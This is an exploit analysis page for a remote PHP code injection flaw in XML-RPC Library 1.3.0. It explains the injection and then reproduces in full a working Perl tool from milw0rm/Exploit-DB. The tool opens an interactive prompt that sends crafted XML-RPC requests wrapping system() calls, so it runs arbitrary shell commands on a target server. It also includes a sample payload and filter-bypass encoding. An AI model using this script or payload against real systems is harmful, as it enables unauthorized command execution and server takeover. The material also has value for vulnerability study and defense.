XML-RPC Library 1.3.0 Remote Code Injection Exploit Analysis

XML-RPC Library 1.3.0 Remote Code Injection Exploit Analysis
What this paper is
This paper details a remote code injection vulnerability in XML-RPC Library version 1.3.0, specifically within the xmlrpc.php file. The exploit allows an attacker to execute arbitrary PHP code on the target server by sending specially crafted XML-RPC requests. The vulnerability was published on July 1, 2005.
Simple technical breakdown
The core of the vulnerability lies in how the xmlrpc.php script handles user-supplied input within an XML-RPC request. The script is designed to process method calls, but it fails to properly sanitize certain characters in the input intended for a specific method call. This allows an attacker to break out of the intended XML structure and inject PHP code that gets executed by the server. The exploit leverages this by injecting a system() call within the XML payload, effectively turning the web server into a remote execution engine.
Complete code and payload walkthrough
The provided Perl script is an exploit tool designed to leverage the XML-RPC Library 1.3.0 vulnerability. Let's break down its components:
Perl Script Structure:
Shebang and Comments:
#!/usr/bin/perl # # ilo-- # # This program is no GPL or has nothing to do with FSF, but some # code was ripped from romansoft.. sorry, too lazy! # # xmlrpc bug by James from GulfTech Security Research. # http://pear.php.net/bugs/bug.php?id=4692 # xmlrpc drupal exploit, but James sais xoops, phpnuke and other # cms should be vulnerable. # # greets: dsr! digitalsec.net- Purpose: Standard Perl script declaration. The comments attribute the bug to James from GulfTech Security Research and mention potential targets like Drupal, Xoops, and Phpnuke. It also notes that some code might be borrowed.
Required Modules:
require LWP::UserAgent; use URI; use Getopt::Long; use strict; $| = 1; # fflush stdout after print- Purpose: Imports necessary Perl modules for making HTTP requests (
LWP::UserAgent), handling URIs (URI), parsing command-line options (Getopt::Long), and enforcing strict coding practices (strict).$| = 1;ensures that output is flushed immediately, which is useful for interactive scripts.
- Purpose: Imports necessary Perl modules for making HTTP requests (
Default Options:
# Default options # connection my $basic_auth_user = ''; my $basic_auth_pass = ''; my $proxy = ''; my $proxy_user = ''; my $proxy_pass = ''; my $conn_timeout = 15; # general my $host;- Purpose: Initializes variables for optional connection settings (basic authentication, proxy details) and a default connection timeout.
$hostis the mandatory target URI.
- Purpose: Initializes variables for optional connection settings (basic authentication, proxy details) and a default connection timeout.
Informational Output:
# informatiional lines to feed my own ego. print "xmlrpc exploit - http://www.reversing.org \n"; print "2005 ilo-- <ilo".chr(64)."reversing.org> \n"; print "special chars allowed are / and - \n\n";- Purpose: Prints identifying information about the exploit and its author, along with a note about allowed special characters in the input.
chr(64)is the ASCII code for '@'.
- Purpose: Prints identifying information about the exploit and its author, along with a note about allowed special characters in the input.
Command Line Option Parsing:
# read command line options my $options = GetOptions ( #general options 'host=s' => \$host, # input host to test. # connection options 'basic_auth_user=s' => \$basic_auth_user, 'basic_auth_pass=s' => \$basic_auth_pass, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'timeout=i' => \$conn_timeout); # command line sanity check &show_usage unless ($host);- Purpose: Uses
Getopt::Longto parse command-line arguments. It expects a--hostargument (the target URI) and allows for various connection-related options. A check ensures that the--hostoption is provided; otherwise, it callsshow_usage.
- Purpose: Uses
Main Interactive Loop:
# main loop while (1){ print "\nxmlrpc@# "; my $cmd = <STDIN>; xmlrpc_xploit ($cmd); } exit (1);- Purpose: Enters an infinite loop to provide an interactive command prompt. It reads user input (
$cmd), strips whitespace (chomp), and passes it to thexmlrpc_xploitsubroutine.
- Purpose: Enters an infinite loop to provide an interactive command prompt. It reads user input (
xmlrpc_xploitSubroutine:#exploit sub xmlrpc_xploit { chomp (my $data = shift); my $reply; my $d1 = "<?xml version=\"1.0\"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');"; my $d2 = ";//</name><value>xml exploit R/01</value></param></params></methodCall>"; $data =~ s/-/'.chr(45).'/mg; $data =~ s/\//'.char(47).'/mg; my $req = new HTTP::Request 'POST' => $host; $req->content_type('application/xml'); $req->content($d1.'system(\''.$data.'\')'.$d2); my $ua = new LWP::UserAgent; $ua->agent("xmlrpc exploit R/0.1"); $ua->timeout($conn_timeout); if ($basic_auth_user){ $req->authorization_basic($basic_auth_user, $basic_auth_pass) } if ($proxy){ $ua->proxy(['http'] => $proxy); $req->proxy_authorization_basic($proxy_user, $proxy_pass); } #send request, return null if not OK my $res = $ua->request($req); if ($res->is_success){ $reply= $res->content; } else { $reply = ""; } $reply =~ /(.*).(<pre>warning.*)/mgsi; print ($1); }- Purpose: This is the core of the exploit logic.
chomp (my $data = shift);: Reads the command input from the user and removes trailing newline characters.my $d1 = "..."; my $d2 = "...";: Defines two parts of the XML payload.$d1: Starts the XML structure, defines amethodCallforexamples.getStateName, and then starts a<param>with a<name>tag. Crucially, it ends the<name>tag witha');. This is where the code injection begins.$d2: Closes the<name>tag with//(effectively commenting out the rest of the originalgetStateNameparameter value), adds a<value>tag, and then closes the XML structure.
$data =~ s/-/'.chr(45).'/mg;: This line is critical. It takes the user-provided command ($data) and replaces all hyphens (-) with the PHP string'.chr(45).'. This is a technique to bypass potential input filtering that might block hyphens, by encoding them as their ASCII character representation within a PHP string context.$data =~ s/\//'.char(47).'/mg;: Similarly, this replaces all forward slashes (/) with'.char(47).'. This is done to encode the path separators for commands that might require them, again as a form of escaping.my $req = new HTTP::Request 'POST' => $host;: Creates a new HTTP POST request object targeting the$host.$req->content_type('application/xml');: Sets theContent-Typeheader toapplication/xml.$req->content($d1.'system(\''.$data.'\')'.$d2);: This constructs the full XML payload. It concatenates$d1, the PHPsystem()function call wrapping the (potentially escaped) user command$data, and$d2. Thesystem()function in PHP executes an external program and returns the last line of its output.my $ua = new LWP::UserAgent;: Creates a new LWP UserAgent object for sending the request.$ua->agent("xmlrpc exploit R/0.1");: Sets a custom User-Agent string.$ua->timeout($conn_timeout);: Sets the connection timeout.- Authentication and Proxy Handling: The
if ($basic_auth_user)andif ($proxy)blocks handle setting up basic authentication and proxy configurations for the HTTP request if provided via command-line options. my $res = $ua->request($req);: Sends the crafted HTTP request.if ($res->is_success) { $reply= $res->content; } else { $reply = ""; }: Checks if the HTTP request was successful. If so, it retrieves the response content; otherwise, it sets$replyto an empty string.$reply =~ /(.*).(<pre>warning.*)/mgsi; print ($1);: This line attempts to parse the response. It looks for any content before a<pre>warningtag (which might indicate a PHP warning or error) and prints only that preceding content. This is likely done to display the output of the executed command while suppressing potential error messages from the web server.
- Purpose: This is the core of the exploit logic.
show_usageSubroutine:# show options sub show_usage { print "Syntax: ./xmlrpc.pl [options] host/uri\n\n"; print "main options\n"; print "connection options\n"; print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--basic_auth_user, --basic_auth_pass\n"; print "\t--timeout \n"; print "\nExample\n"; print "bash# xmlrpc.pl --host=http://www.host.com/xmlrpc.php \n"; print "\n"; exit(1); }- Purpose: Displays the usage instructions and available command-line options for the script.
Payload Construction Example:
If the user inputs ls -l at the xmlrpc@# prompt:
$databecomesls -l.$data =~ s/-/'.chr(45).'/mg;transforms it tols '.chr(45).'l.$data =~ s/\//'.char(47).'/mg;(no slashes in this example, so no change).- The final payload content becomes:
<?xml version="1.0"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');system('ls \'.chr(45).\'l');//</name><value>xml exploit R/01</value></param></params></methodCall>
This payload is sent to the target xmlrpc.php. The vulnerable script parses this XML, and when it encounters a');system('ls \'.chr(45).\'l');//, it effectively executes system('ls -l') on the server. The output of ls -l would then be returned in the HTTP response and printed by the Perl script.
Shellcode/Payload Segments:
The "payload" in this context is not traditional shellcode in bytes but rather a crafted XML string that, when processed by the vulnerable PHP script, results in the execution of arbitrary commands.
- XML Structure:
<?xml version="1.0"?><methodCall>...</methodCall>- Purpose: Standard XML-RPC request format.
- Method Name:
<methodName>examples.getStateName</methodName>- Purpose: The exploit targets the
examples.getStateNamemethod. The vulnerability allows injecting code within the parameters of this method.
- Purpose: The exploit targets the
- Parameter Injection Point:
<name>a');system('...');//- Purpose: This is the critical injection point.
a');: This part breaks out of the expected string literal for the parameter name. Theais likely a placeholder, and the');terminates a string and a PHP statement.system('...');//: This injects the PHPsystem()function call. The command to be executed is placed inside the single quotes. The//at the end comments out any remaining original code within the parameter value.
- Purpose: This is the critical injection point.
- Command Encoding:
'.chr(45).'for-,'.char(47).'for/- Purpose: These are PHP string concatenation and character encoding techniques used to represent special characters like hyphens and slashes. This bypasses potential input filters that might block these characters directly.
- Command Execution:
system('your_command_here')- Purpose: The PHP
system()function is used to execute a command on the server's operating system.
- Purpose: The PHP
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
# tested and working /str0ke
#!/usr/bin/perl
#
# ilo--
#
# This program is no GPL or has nothing to do with FSF, but some
# code was ripped from romansoft.. sorry, too lazy!
#
# xmlrpc bug by James from GulfTech Security Research.
# http://pear.php.net/bugs/bug.php?id=4692
# xmlrpc drupal exploit, but James sais xoops, phpnuke and other
# cms should be vulnerable.
#
# greets: dsr! digitalsec.net
#
require LWP::UserAgent;
use URI;
use Getopt::Long;
use strict;
$| = 1; # fflush stdout after print
# Default options
# connection
my $basic_auth_user = '';
my $basic_auth_pass = '';
my $proxy = '';
my $proxy_user = '';
my $proxy_pass = '';
my $conn_timeout = 15;
# general
my $host;
#informational lines to feed my own ego.
print "xmlrpc exploit - http://www.reversing.org \n";
print "2005 ilo-- <ilo".chr(64)."reversing.org> \n";
print "special chars allowed are / and - \n\n";
# read command line options
my $options = GetOptions (
#general options
'host=s' => \$host, # input host to test.
# connection options
'basic_auth_user=s' => \$basic_auth_user,
'basic_auth_pass=s' => \$basic_auth_pass,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'timeout=i' => \$conn_timeout);
# command line sanity check
&show_usage unless ($host);
# main loop
while (1){
print "\nxmlrpc@# ";
my $cmd = <STDIN>;
xmlrpc_xploit ($cmd);
}
exit (1);
#exploit
sub xmlrpc_xploit {
chomp (my $data = shift);
my $reply;
my $d1 = "<?xml version=\"1.0\"?><methodCall><methodName>examples.getStateName</methodName><params><param><name>a');";
my $d2 = ";//</name><value>xml exploit R/01</value></param></params></methodCall>";
$data =~ s/-/'.chr(45).'/mg;
$data =~ s/\//'.char(47).'/mg;
my $req = new HTTP::Request 'POST' => $host;
$req->content_type('application/xml');
$req->content($d1.'system(\''.$data.'\')'.$d2);
my $ua = new LWP::UserAgent;
$ua->agent("xmlrpc exploit R/0.1");
$ua->timeout($conn_timeout);
if ($basic_auth_user){
$req->authorization_basic($basic_auth_user, $basic_auth_pass)
}
if ($proxy){
$ua->proxy(['http'] => $proxy);
$req->proxy_authorization_basic($proxy_user, $proxy_pass);
}
#send request, return null if not OK
my $res = $ua->request($req);
if ($res->is_success){
$reply= $res->content;
} else {
$reply = "";
}
$reply =~ /(.*).(<pre>warning.*)/mgsi;
print ($1);
}
# show options
sub show_usage {
print "Syntax: ./xmlrpc.pl [options] host/uri\n\n";
print "main options\n";
print "connection options\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--basic_auth_user, --basic_auth_pass\n";
print "\t--timeout \n";
print "\nExample\n";
print "bash# xmlrpc.pl --host=http://www.host.com/xmlrpc.php \n";
print "\n";
exit(1);
}
# milw0rm.com [2005-07-01]